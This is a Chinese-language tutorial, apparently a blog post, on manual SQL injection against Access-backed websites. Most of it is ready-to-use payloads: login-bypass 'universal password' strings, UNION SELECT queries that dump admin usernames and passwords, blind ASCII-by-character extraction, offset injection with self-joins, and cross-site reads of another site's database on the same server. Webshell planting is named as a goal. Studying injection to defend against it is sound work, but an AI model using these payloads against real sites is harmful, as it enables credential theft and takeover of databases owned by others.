拖延了這麼久,今天來好好寫寫sql注入吧T_T
Sql注入涉及內容較多,這個系列分爲access注入,mysql注入,sqlser注入,Oracle注入,其它注入,工具使用。
一、SQL注入的形成原理
來自百度百科的解釋,整理的不錯,看看就好,這裏洗白一下,SQL全稱Structured Query Language,是一種數據庫查詢和程序設計語言,用於存取數據以及查詢、更新和管理關係數據庫系統;同時也是數據庫腳本文件的擴展名(這點注意啦)
SQL注入
萬能密碼: admin' -- --空格 代表註釋符
admin' and '1'='1
admin' and '1'='2
概念:sql注入是一種常見的web安全漏洞,攻擊者利用這個漏洞,可以訪問或修改數據,或者利用潛在的數據庫裏的進行攻擊
過程:
獲取用戶參數
拼接到代碼當中
sql語句按照我們構造參數的語義執行成功
本質:數據和代碼未分離,即數據當成了代碼來執行
危害:
獲取數據庫信息
username=admin' and 1=2 union select version() -- &password=
獲取服務器權限
植入webshell
萬能密碼
基本流程:
找到有數據庫交互的功能頁面
判斷頁面是否存在sql注入
利用sql注入漏洞讀取數據
二、sql注入的手工實現
前置知識:
a、常見數據庫有以下幾種,我將逐個數據庫的注入心法述諸如後文
access --asp
mysql --php,jsp
oracle --jsp
sqlserver --jsp
postgreql
b、對於動態網站,用戶和後臺存在數據庫交互,我們可以通過前臺的網站交互存在的漏洞控制得到數據庫信息並控制之。
提示:asp鏈接access數據庫的代碼:一般存放在conn.asp,config.asp裏面,找到數據庫下載(有密碼的情況可在源碼裏查看或工具破解)
(1)Access 數據庫 Injection
step1:判斷有無注入:通過是否把修改語句帶入執行判斷,執行了即返回錯誤結果,表示存在注入即不存在過濾。
‘
and 1=1
and 1=2
/
-0
-1
*1
.0
.1
step2、判斷數據庫類型:
and exsits (select * from msysobjects)>0 access
and exsits (select * from sysobjects)>0 sqlserver
step3、判斷數據庫表:
and exists (select * from admin) #查詢admin表是否存在
常見管理員表名 :admin admin_user admin_msg admin_usr admin_login username member
manager manag msg_user msg_login useradmin user_login user—_msg users
step4、 判斷數據庫列名: |列名 |表名
and exists (select admin from admin)
管理員表下常見列名:admin、users、user_login、user_name、msg_name、login_name、admin_login
密碼列名:password、psd、passwd、pass 、user_pass
step5、判斷某個id對應的表下的列數:id=31 order by 7 (當num<=真實存在的列數,返回正常)
聯合查詢:
id=31 union select 1,2,3,4,5,6,7 from admin 判斷是否存在admin表並爆出非數字類型列(可全爲1,表明是數字類型)
id=31 union select 1,admin,password,4,5,6,7 from admin--如果admin表下存在admin和password列則爆出相應值(可以放在任意位置)
id=31 union select 1,admin,password,4,5,6,7 from admin where id=32 並查多個值 step6、判斷賬戶,密碼的長度:
and (select len(admin) from admin)>=5 如果admin表下的admin列下的字符長度>=5,返回正常
and (select len(password) from admin)=5
step7、判斷管理員賬號的第一個數據:
and (select top 1 asc(mid(admin,1,1))from admin)>100 判斷admin表下的admin列下的第一個字符(第一列)的ASCII碼是否大於100
and (select top 1 asc(mid(admin,2,1))from admin)>100
and (select top 1 asc(mid(password,1,1))from admin)>100
(2)手工注入高級玩法:假設已知表名admin
偏移注入:<--已知表名,不知列名
一、id=31 union select 1,2,3,4,5,6,7 from admin
|
|在末尾添加*,並從後往前依次刪掉一列
|
id=31 union select 1,2,3,4,5,6,* from admin
|
|--可能隨機爆出某列的數據
二、id=31 union select 1,2,3,4,5,6,7 from admin
在一得出結果的情況下,比如在5爆出一個值,遵從以下公式:測試不加x.id
7-2=5---id=31 union select 1,2,3,4,5,a.id,b.id* from (admin as a inner join admin as b on a.id=b.id)
5-2=3---id=31 union select 1,2,3,a.id,b.id,c.id* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
3-2=1---id=31 union select 1,a.id,b.id,c.id,d.id* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)
三、 瀏覽器打開登陸頁面,審查元素,查看錶單提交的名稱----有可能是admin下的列名
四、跨庫查詢:通過A站查B站的數據庫
滿足條件:
1、A站和B站在同一個服務器下且A站存在注入
2、知道B站的數據庫存放的絕對路徑
3、知道B站的表名和列名
語法: |--A站的注入點
id=31 union select 1,admin,password,4,5,6,7 from [C:\數據庫的絕對路徑] admin_user
#查詢同服務器下其它站點表名爲admin_user的列admin和password的值
五、挖掘0day:未公佈的漏洞--南方數據0day